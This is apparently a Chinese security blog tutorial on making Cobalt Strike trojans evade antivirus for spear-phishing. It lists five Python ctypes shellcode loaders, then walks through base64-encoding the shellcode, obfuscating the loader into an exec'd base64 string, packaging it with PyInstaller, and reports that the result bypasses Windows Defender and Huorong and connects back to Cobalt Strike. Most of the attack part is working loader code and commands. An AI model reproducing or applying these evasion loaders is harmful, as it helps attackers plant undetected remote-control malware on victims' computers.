0x00 前言

最新复习了一下鱼叉攻击的内容,发现在制作木马这一块过不去了,各种被查杀,于是又重新复习了一下免杀这块的内容。

网上也有很多教程文章,还是不错的,本文将使用CS作为例子,MSF其实差不多的,废话不多说,直接开始!

0x01 Shellcode Loader原理

我们做免杀之前先了解一下一些基础知识,比如说shellcode是什么。

  • shellcode是一段用于利用软件漏洞的有效负载代码,以其经常让攻击者获得shell而得名

  • shellcode loader是用来运行shellcode的加载器

那何为分离免杀呢?

比如说你在MSF生成了一个exe,那么可执行文件里面就包含了shellcode和shellcode loader。

因为MSF默认生成的shellcode loader是不变的,是很容易被杀软识别出来的。

所以我们将shellcode分离出来做处理,分别对两块进行编码混淆。

Shellcode

比如CS生成的一段payload,buf就是shellcode了:

4

loader加载器

加载器可以使用C、C#、Python等来写,笔者尝试用C来写加载器的时候发现很容易就被查杀了,所以实践了Python生成exe可执行文件进行免杀,效果还是不错的。

加载器原理

这部分就不在这里说了,可以参考大佬的文章CS免杀-Shellcode Loader原理(python)

大家可能会发现VirtualAlloc函数的flAllocationType参数有多种选择,可以参考微软官网的说明:VirtualAlloc function

32位和64位问题报错

首先在这里说下面的这个报错:

OSError: exception: access violation writing

python在申请内存的时候默认是使用32位的,由于x86和x64的兼容性问题导致了内存不可写。

比如系统是64位的就要加上下面的语句:

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

并且在RtlMoveMemory加上64位的类型:

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))

下面是网上分享的各种加载shellcode的代码:

第一种

这一段被用的太多了,导致刚生成exe可执行文件就被微软查杀:

#!/usr/bin/python
import ctypes

shellcode = b"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b"

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
 
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))
 
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

第二种

64位测试失败:

from ctypes import *

shellcode = ""
shellcode_one = create_string_buffer(shellcode, len(shellcode))
shellcode_run = cast(shellcode_one, CFUNCTYPE(c_void_p))
shellcode_run()

第三种

64位测试失败:

from ctypes import *
import ctypes
buf =  ""
#libc = CDLL('libc.so.6')
PROT_READ = 1
PROT_WRITE = 2
PROT_EXEC = 4
def executable_code(buffer):
    buf = c_char_p(buffer)
    size = len(buffer)
    addr = libc.valloc(size)
    addr = c_void_p(addr)
    if 0 == addr: 
        raise Exception("Failed to allocate memory")
    memmove(addr, buf, size)
    if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):
        raise Exception("Failed to set protection on buffer")
    return addr
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
VirtualProtect = ctypes.windll.kernel32.VirtualProtect
shellcode = bytearray(buf)
whnd = ctypes.windll.kernel32.GetConsoleWindow()   
if whnd != 0:
       if 1:
              ctypes.windll.user32.ShowWindow(whnd, 0)   
              ctypes.windll.kernel32.CloseHandle(whnd)
memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
old = ctypes.c_long(1)
VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()

第四种

这个可以正常使用,并且不会被微软默认杀软杀掉,但是会被火绒查杀:

import ctypes

shellcode =b""

rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

如果是64位使用下面的代码:

import ctypes

shellcode =b""

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

第五种

在64位系统测试成功:

import ctypes

scbytes = b'\x90\x90'

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = ( ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t ) 
ctypes.windll.kernel32.CreateThread.argtypes = ( ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int) ) 

space = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(scbytes)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
buff = ( ctypes.c_char * len(scbytes) ).from_buffer_copy( scbytes )
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(space),buff,ctypes.c_int(len(scbytes)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_void_p(space),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(handle, -1);

0x02 实战

这里就直接实战过免杀的整个过程,主要的思路就是shellcode和loader编码混淆,把python转成exe可执行文件。

1、生成shellcode

我们来使用CS生成的shellcode,选择下面的选项:

1

选择你的监听:

2

输出选择Python,选其他也可以,我们只是要里面的十六进制shellcode就行:

3

点击后会在用户的目录生成一个payload.py的文件,里面这一串16进制就是所谓的shellcode了。

我们需要把shellcode进行一些处理,把原有shellcode的\x去掉:

5

然后进行base64编码:

6

2、编写Loader代码

在这里推荐使用的一套loader:

import ctypes
import base64
shellcode ='shellcode的base64编码'
shellcode = base64.b64decode(shellcode)
shellcode = bytes.fromhex(str(shellcode,'utf-8'))

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

这里执行可以正常上线,也可以过微软的defender,但是会被火绒秒杀。

我们可以把loader部分进行编码,把下面的代码进行base64编码:

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64;rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40);ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode));handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0);ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

7

得到最终的Python代码:

import ctypes
import base64
shellcode ='shellcode的base64编码'
shellcode = base64.b64decode(shellcode)
shellcode = bytes.fromhex(str(shellcode,'utf-8'))
loader = "Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MucmVzdHlwZT1jdHlwZXMuY191aW50NjQ7cnd4cGFnZSA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jKDAsIGxlbihzaGVsbGNvZGUpLCAweDEwMDAsIDB4NDApO2N0eXBlcy53aW5kbGwua2VybmVsMzIuUnRsTW92ZU1lbW9yeShjdHlwZXMuY191aW50NjQocnd4cGFnZSksIGN0eXBlcy5jcmVhdGVfc3RyaW5nX2J1ZmZlcihzaGVsbGNvZGUpLCBsZW4oc2hlbGxjb2RlKSk7aGFuZGxlID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoMCwgMCwgY3R5cGVzLmNfdWludDY0KHJ3eHBhZ2UpLCAwLCAwLCAwKTtjdHlwZXMud2luZGxsLmtlcm5lbDMyLldhaXRGb3JTaW5nbGVPYmplY3QoaGFuZGxlLCAtMSk="
exec (base64.b64decode(loader))

3、Python转Exe

我们需要安装一个pyinstaller模块:

python -m pip install pyinstaller==3.0
python -m pip install pypiwin32

如果网速太慢的话就用国内的镜像,后面加几个命令,例如:

python -m pip install pypiwin32 -i http://mirrors.aliyun.com/pypi/simple/  --trusted-host mirrors.aliyun.com

执行下面的命令进行打包:

pyinstaller -F exp.py

打包完成后会在dist目录生成exe文件:

8

4、测试免杀效果

微软的defender没啥问题,火绒也正常上线:

9

CS上线:

10

查杀率还是不错的:

10

0x03 参考

https://codeantenna.com/a/NQOnxnH2Pf

https://www.freebuf.com/articles/compliance/290379.html

https://github.com/aleenzz/Cobalt_Strike_wiki/blob/master/2-%E7%AC%AC%E4%BA%94%E8%8A%82%5Bpython%20shellcode%20%E5%8A%A0%E8%BD%BD%5D.md

https://gist.github.com/peewpw/8054a64eb4b5cd007a8431a71d698dc3 64位loader

https://icode.best/i/17441043786198#h3-10

https://www.delftstack.com/howto/python/python-convert-hex-to-byte/ byte和十六进制转换